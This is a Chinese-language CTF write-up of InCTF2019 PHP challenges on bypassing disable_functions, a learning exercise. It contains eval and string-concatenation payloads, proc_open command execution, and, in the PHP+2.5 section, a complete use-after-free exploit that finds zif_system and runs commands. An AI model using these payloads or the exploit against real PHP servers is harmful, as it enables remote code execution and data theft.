热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

从InCTF2019的一道题学习disable_function_bypass

 前言前段时间做了一道InCTF2019的几道Web题,觉得里面涉及的PHP disable function bypass和字符串拼接特性挺有意思的,所以自己搭建了环境复现了下,并且在这里记录一下。

 

前言

前段时间做了一道InCTF2019的几道Web题,觉得里面涉及的PHP disable function bypass和字符串拼接特性挺有意思的,所以自己搭建了环境复现了下,并且在这里记录一下。

 

PHP+1

打开题目直接得到源码:

// PHP+1
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "
";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
unset($blacklist);
return false;
}
$thisfille=$_GET['thisfile'];
if(is_file($thisfille)){
echo "You can't use inner file" . "
";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "
";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "
";
}
}
function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);
?>

ps: 修正符m表示 将字符串视为多行,不管是那行都能匹配;

先分析下代码主要的执行流程:

(1)接受两个get请求参数,一个input,另一个thisfile,分别赋值给$input$thisfille(注意拼写,两个l);
(2)第一层:传入的$thisfille需要同时满足is_file($thisfille)falsefile_exists($thisfile)true
(3)第二层:如果file_exists($thisfile)true,则进行check()函数检查;
(4)check()函数中过滤了很多函数。


第一层 is_file和file_exists绕过

is_file函数用来判断文件是否存在并且检查指定的文件名是否是正常的文件;

file_exists函数判断文件是否存在或者是目录是否存在;

is_dir函数判断目录是否存在。

也就是说,所以可以用一个目录路径来绕过is_file的检查,对任意目录,is_file会返回false,而file_exists会返回true。


第二层 check函数绕过

check函数中能看到一个看起来比较有趣的函数get_defined_functions,搜一下它的用法

function foo(){
echo "This is my function foo.";
}
$arr = get_defined_functions();
var_dump($arr);
?>

输出的结果包含所有的php自带的built-in函数和用户自定义函数:

array (size=2)
'internal' =>
array (size=1460)
0 => string 'zend_version' (length=12)
1 => string 'func_num_args' (length=13)
2 => string 'func_get_arg' (length=12)
3 => string 'func_get_args' (length=13)
4 => string 'strlen' (length=6)
5 => string 'strcmp' (length=6)
...... more elements
1456 => string 'xdebug_code_coverage_started' (length=28)
1457 => string 'xdebug_get_function_count' (length=25)
1458 => string 'xdebug_dump_superglobals' (length=25)
1459 => string 'xdebug_get_headers' (length=18)
'user' =>
array (size=1)
0 => string 'foo' (length=3)

返回结果包括两个数组,内置(internal)和用户自定义的函数。可以通过$arr['internal']来访问系统内置的函数,通过$arr['user']来访问用户自定义的函数。

在这里eval函数并不属于php的内置函数,所以可以绕过上面代码中第7至11行的检查。

在第14行过滤的evaldieexit都不属于函数,它们都属于语言构造器( language construct )

这里稍微介绍一下language construct。从本质上讲,function是一段代码,它的编写方式可以在脚本执行过程中多次使用和重复使用。它可能被设计成接受参数和返回值,也可能两者都不接受,函数可以由用户定义。language construct本身是PHP语言的一部分,也就是说,它们不能由用户定义,也不能通过扩展加入到PHP语言中,PHP解析器不能进一步分解它们,而函数在被解析之前必须进一步分解,会被分解为language construct。

language construct通常会比对应的function更快。而且我们可以通过设置在PHP配置文件,如php.ini中通过disable_functions禁用一些函数,但是无法禁用language construct。而且language construct不能作为回调函数被调用。

这是来自 https://www.php.net/manual/zh/function.eval.php 对eval的解释:

dieexit一样,都是一个语言构造器,所以它们并不在函数get_defined_functions中返回的数组中。

而且在PHP中,_()也是一个函数,_()gettext函数的别名。

所以_也会被$blacklist过滤掉。

回到正题,虽然$blacklist过滤掉了很多php内置函数,但是eval函数依然是可以使用的,所以可以通过eval来执行命令:

?input=eval("highlight".$thisfille[8]."fil"."e('/etc/passwd');");&thisfile=/lib/x86_64-linux-gnu

所以可以用eval("sy"."stem('ls')")来查看当前目录下的文件,但是并没有执行成功,因为system函数被禁用了。看一下有多少函数是disable_functions

?input=eval("php"."info();");&thisfile=/var

看一下disable_functions这一栏,有很多函数不能用:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir

因为不知道flag到底在哪里,文件名是什么,所以肯定想看一下目录,一般flag文件会放在当前目录,根目录下或者是上一级目录里。常用的列目录的命令有:

system('ls');
scandir('/');

但是目前这些方法都被禁止了。所以我们要找到其他的相同功能的函数,一般这种题目考察的就是这些相对冷门的函数。

glob函数没有在上面的disable_functions之中,这个函数和scandir一样,可以用来查找文件,举个例子:

// 取得所有后缀为.txt的文件
$files = glob('*.txt');
print_r($files);
?>

上面会输出当前目录下的所有以.txt为后缀的文件:

Array (
[0] => Readme.txt
[1] => source.txt
[2] => test.txt
)

所以用print_r(glob("*"))就可以列出当前目录下的所有文件:

?input=eval('print'.$thisfille[8].'r(glo'.'b("*"));');&thisfile=/lib/x86_64-linux-gnu

得到的结果是:

Array (
[0] => 1.html
[1] => 5.html
[2] => index.html
[3] => index.php
[4] => save2json.html
[5] => version_2.html
)

再看看根目录:

Array (
[0] => /bin
[1] => /boot
[2] => /daily_lock
[3] => /dev
[4] => /etc
[5] => /flag
[6] => /home
[7] => /initrd.img
[8] => /initrd.img.old
[9] => /lib
[10] => /lib64
[11] => /lost+found
[12] => /media
[13] => /mnt
[14] => /opt
[15] => /proc
[16] => /readFlag
[17] => /root
[18] => /run
[19] => /sbin
[20] => /srv
[21] => /sys
[22] => /tmp
[23] => /usr
[24] => /var
[25] => /vmlinuz
[26] => /vmlinuz.old
)

flag应该就在/flag文件或是/readFlag文件中。所以接下来就要读这两个文件。

一般读取文件有两种方式。一种是通过系统命令执行linux的读文件命令,另一种是直接调用php的文件读取函数。常见的文件读取函数有:

file_get_contents
readfile
fread
fopen
highlight_file
show_source

前面的四个都被禁掉了,但是最后的highlight_fileshow_source都没有被禁掉,所以还可以用这两个函数来读取文件内容

// show_source("/flag");
?input=eval('show'.$thisfille[8].'source("/flag");');&thisfile=/lib/x86_64-linux-gnu
// highlight_file("/readFlag");
?input=eval('highlight'.$thisfille[8].'fil'.'e("/readFlag");');&thisfile=/lib/x86_64-linux-gnu

发现什么输出都没有,猜测可能是普通用户根本就没有read的权限。如果不能读的话,猜测这可能是一个可执行文件,所以需要命令执行函数来执行该文件,该文件会输出flag内容。但是这里有两个flag,显然其中一个是用来迷惑我们的,但是目前还没有办法判断哪个是真的flag。

php中比较常见的命令执行函数有:

exec — 执行一个外部程序
passthru — 执行外部程序并且显示原始输出
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针
pcntl_exec - 在当前进程空间执行指定程序
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
system — 执行外部程序,并且显示输出
popen - 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生
ob_start - 打开输出控制缓冲
mail - 发送邮件

这些函数的具体用法可以参考chybeta师傅的文章:

php代码/命令执行漏洞 )

这些函数中,有两个没有被ban,ob_startproc_open

proc_open函数的具体用法可以参考: https://www.w3cschool.cn/doc_php/php-function-proc-open.html

语法:resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

proc_open会执行一个命令,并且会打开用来输入/输出的文件指针,输出在$pipes[1]中。

可以看一个最简单的例子,在读取$pipes[1]的时候还可以用fgets

$proc = proc_open("echo foo",
array(
array("pipe","r"),
array("pipe","w"),
array("pipe","w")
),
$pipes);
print stream_get_contents( $pipes[1] );
// 输出为 foo
?>

这里要注意的是第2行的$proc必须存在,下面的这个例子运行就会报错:

proc_open("echo foo",
array(
array("pipe","r"),
array("pipe","w"),
array("pipe","w")
),
$pipes);
print fgets( $pipes[1] );
// Warning: stream_get_contents(): 3 is not a valid stream resource in t.php on line 9
?>

在官方文档给的例子下,有人给出的解释是:

It seems you actually have to store the return value in order for your streams to exist. You can’t throw it away.

也就是说为了让流存在,必须要存储返回值,不能把这个返回值丢掉。

所以直接将这个返回值赋给一个变量就可以了,这里的payload是赋给了$ret变量,然后用fgets输出内容:

?input=$desc=array(array('p'.'ipe','r'),array('p'.'ipe','w'),array('p'.'ipe','w'));$pxpes=array();eval('$ret=proc'.$thisfille[8].'open("/readFlag",$desc,$pxpes);');eval('print(fge'.'ts($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu

成功获得flag:

但是读取/flag却是没有回显的,猜测还是和权限有关,可以这样验证一下:

?input=$desc=array(array('p'.'ipe','r'),array('p'.'ipe','w'),array('p'.'ipe','w'));$pxpes=array();eval('$ret=proc'.$thisfille[8].'open("ls%20-al%20/readFlag",$desc,$pxpes);');eval('print(fge'.'ts($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu

得到的结果是:

-r-s--x--x 1 root root 8608 May 6 07:52 /readFlag

ls -al /flag可以发现,只有root用户才可以执行该文件,所以才会什么都没有返回:

-r-------- 1 root root 8608 May 6 08:43 /flag

 

PHP+1.5

然后看一下PHP+1的升级版,PHP+1.5

// php+1.5
$input = $_GET['input'];
function check()
{
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "
";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if (preg_match("/$blacklist/i", $input)) {
echo "Do you really you need that?" . "
";
return true;
}
unset($blacklist);
return false;
}
$thisfille = $_GET['thisfile'];
if (is_file($thisfille)) {
echo "You can't use inner file" . "
";
} else {
if (file_exists($thisfille)) {
if (check()) {
echo "Naaah" . "
";
} else {
eval($input);
}
} else {
echo "File doesn't exist" . "
";
}
}
function iterate($ass)
{
foreach ($ass as $hole) {
echo "AssHole";
}
}
highlight_file(__FILE__);
?>

和前面一道的差别就是多了对$input$blacklist检查,也就是说禁掉了eval函数:

所以上面这道题使用eval的解法已经不再适用了,但是php支持另一种看起来比较奇怪的字符串拼接方式:

$a = p.h.p.i.n.f.o;
print $a();
?>

可以看到,虽然有报错,但是还是执行了phpinfo()命令。

我们尝试一下读取phpinfo:

?input=$a=p.h.p.i.n.f.o;$a();&thisfile=/var

payload1:

?input=
$x=ch.r;
$y=$x(95);
$z=$x(47);
$a=p.r.o.c.$y.o.p.e.n;
$b=$z.readFlag;
$c=p.i.p.es;
$d=p.i.p.e;
$e=r;
$f=w;
$i=ne.xt;
$h=str.eam.$y.ge.t.$y.con.tents;
$k=$a($b,array(array($d,$e),array($d,$f),array($d,$f)),$$c);
print($h($i($$c)));
&thisfile=/var

稍微解释一下这个payload。$x是chr函数,$y是字符_,$z是字符/,用来拼接/readFlag用。

$k=$a($b,array(array($d,$e),array($d,$f),array($d,$f)),$$c);
// equivalent to
$k=proc_open('/readFlag',array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);

这里需要特别注意的是传入的是$$c,因为需要将$pipes变成一个变量,$c表示的仅仅是pipes,而不是$pipes。同样的,后面是

print($h($i($$c)));
// equivalent to
print($stream_get_contents(next($pipes)));

另一个payload2,只是在提取$pipes[1]的时候有点区别:

?input=
$x=ch.r;
$y=$x(95);
$z=$x(47);
$a=p.r.o.c.$y.o.p.e.n;
$b=$z.readFlag;
$c=p.i.p.es;
$d=p.i.p.e;
$e=r;
$f=w;
$i=(arra).(y).$y.sh.ift;
$j=(arr).(ay).$y.sl.ice;
$h=str.eam.$y.ge.t.$y.con.tents;
$k=$a($b,array(array($d,$e),array($d,$f),array($d,$f)),$$c);
print($h($i($j($$c,1,2))));
&thisfile=/var

 

PHP+2.5

//php2.5
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "
";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if(preg_match("/$blacklist/i", $input)){
echo "Do you really you need that?" . "
";
return true;
}
unset($blacklist);
if(strlen($input)>100){ #That is random no. I took ;)
echo "This is getting really large input..." . "
";
return true;
}
return false;
}
$thisfille=$_GET['thisfile'];
if(is_file($thisfille)){
echo "You can't use inner file" . "
";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "
";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "
";
}
}
function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);
?>

在这道题的环境中,proc_open函数是没有被禁用的,它的预期解法呢是找到一个segmentation fault,然后使用文件上传和条件竞争来获取shell。

可以采用现成的exp:

$cmd = "id";
$n_alloc = 10; # increase this value if you get segfaults
class MySplFixedArray extends SplFixedArray {
public static $leak;
}
class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i <$n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i <$m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
# unable to leak ro segments
public function leak1($addr) {
global $spl1;
$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}
# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;
# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 <<($s * 8) - 1; }
return $leak;
}
public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);
$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);
for($i = 0; $i <$e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i <$data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base <$data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base <$data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i <0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
$cOntiguous= [];
for($i = 0; $i <$n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');
$room = [];
for($i = 0; $i <$n_alloc; $i++)
$room[] = new Z();
$_protector = $this->ptr2str(0, 78);
$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000
if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}
$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();
# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;
# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry
# copy some of class_entry definition
for($i = 0; $i <16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}
# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}
# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;
$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i <4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}
# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i <3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}
# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i <12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}
# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
$spl1->offsetGet($cmd);
exit();
}
}
$y = [new Z()];
json_encode([&$y]);


PHP2.0

这道题的源码同PHP2.5,但是php环境为7.1,而且proc_open函数被禁用了。

这道题的解法可以参考OpenToAll的exp:https://ctftime.org/writeup/16665 。这个解法其实是利用了php的一个use after free 1day,具体可以看这里:https://bugs.php.net/bug.php?id=77843 。

并且这个解法只对Ubuntu16.04+PHP7.1的环境生效。

 

小结:

总结上面的内容,我们可以学习到:

1 . proc_open代码执行
2 . php字符串拼接
3 . eval特性
4 . _()函数


推荐阅读
  • 深入解析 Vue 中的 Axios 请求库
    本文深入探讨了 Vue 中的 Axios 请求库,详细解析了其核心功能与使用方法。Axios 是一个基于 Promise 的 HTTP 客户端,支持浏览器和 Node.js 环境。文章首先介绍了 Axios 的基本概念,随后通过具体示例展示了如何在 Vue 项目中集成和使用 Axios 进行数据请求。无论你是初学者还是有经验的开发者,本文都能为你解决 Vue.js 相关问题提供有价值的参考。 ... [详细]
  • 本文详细探讨了Zebra路由软件中的线程机制及其实际应用。通过对Zebra线程模型的深入分析,揭示了其在高效处理网络路由任务中的关键作用。文章还介绍了线程同步与通信机制,以及如何通过优化线程管理提升系统性能。此外,结合具体应用场景,展示了Zebra线程机制在复杂网络环境下的优势和灵活性。 ... [详细]
  • Java中处理NullPointerException:getStackTrace()方法详解与实例代码 ... [详细]
  • 本文介绍了一种利用PHP cURL库高效提取Sohu邮箱联系人列表的方法。通过设置错误报告级别、定义Cookie文件路径等关键步骤,确保了代码的稳定性和可靠性。经过实际测试,该方法在2012年3月24日被验证为有效,能够快速准确地获取联系人信息。此外,文章还提供了详细的代码示例和注意事项,帮助开发者更好地理解和应用这一技术。 ... [详细]
  • 本文介绍了如何通过掌握 IScroll 技巧来实现流畅的上拉加载和下拉刷新功能。首先,需要按正确的顺序引入相关文件:1. Zepto;2. iScroll.js;3. scroll-probe.js。此外,还提供了完整的代码示例,可在 GitHub 仓库中查看。通过这些步骤,开发者可以轻松实现高效、流畅的滚动效果,提升用户体验。 ... [详细]
  • C#编程指南:实现列表与WPF数据网格的高效绑定方法 ... [详细]
  • MVVM架构~mvc,mvp,mvvm大话开篇
    返回目录百度百科的定义:MVP是从经典的模式MVC演变而来,它们的基本思想有相通的地方:ControllerPresenter负责逻辑的处理,Model提供数据,View负责显示。作为一种新的模 ... [详细]
  • FastDFS Nginx 扩展模块的源代码解析与技术剖析
    FastDFS Nginx 扩展模块的源代码解析与技术剖析 ... [详细]
  • CentOS 7环境下Jenkins的安装与前后端应用部署详解
    CentOS 7环境下Jenkins的安装与前后端应用部署详解 ... [详细]
  • 基址获取与驱动开发:内核中提取ntoskrnl模块的基地址方法解析
    基址获取与驱动开发:内核中提取ntoskrnl模块的基地址方法解析 ... [详细]
  • 本文探讨了利用Java实现WebSocket实时消息推送技术的方法。与传统的轮询、长连接或短连接等方案相比,WebSocket提供了一种更为高效和低延迟的双向通信机制。通过建立持久连接,服务器能够主动向客户端推送数据,从而实现真正的实时消息传递。此外,本文还介绍了WebSocket在实际应用中的优势和应用场景,并提供了详细的实现步骤和技术细节。 ... [详细]
  • 在今天的实践中,我深入学习了网页图像抓取技术,通过编写爬虫程序批量获取网站上的图片资源。具体来说,我选择了一个包含大量高质量图片的网站作为练习对象,并成功实现了将这些图片批量下载到本地存储。这一过程不仅提升了我对爬虫技术的理解,还增强了我的编程能力。 ... [详细]
  • Eclipse JFace Text框架中IDocument接口的getNumberOfLines方法详解与编程实例 ... [详细]
  • Java 8 引入了 Stream API,这一新特性极大地增强了集合数据的处理能力。通过 Stream API,开发者可以更加高效、简洁地进行集合数据的遍历、过滤和转换操作。本文将详细解析 Stream API 的核心概念和常见用法,帮助读者更好地理解和应用这一强大的工具。 ... [详细]
  • 在 Python 中,魔法方法 `__dict__` 和 `__getattr__` 具有重要的作用和灵活的应用。`__dict__` 是一个用于存储对象属性的字典,其中键为属性名,值为对应的属性值。通过 `__dict__`,可以动态地访问和修改对象的属性。而 `__getattr__` 方法则在尝试访问对象中不存在的属性时被调用,提供了一种优雅的处理方式,避免了属性访问错误。这两个魔法方法在实现复杂的数据结构和动态行为时尤为有用。 ... [详细]
author-avatar
龙门居士1966
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有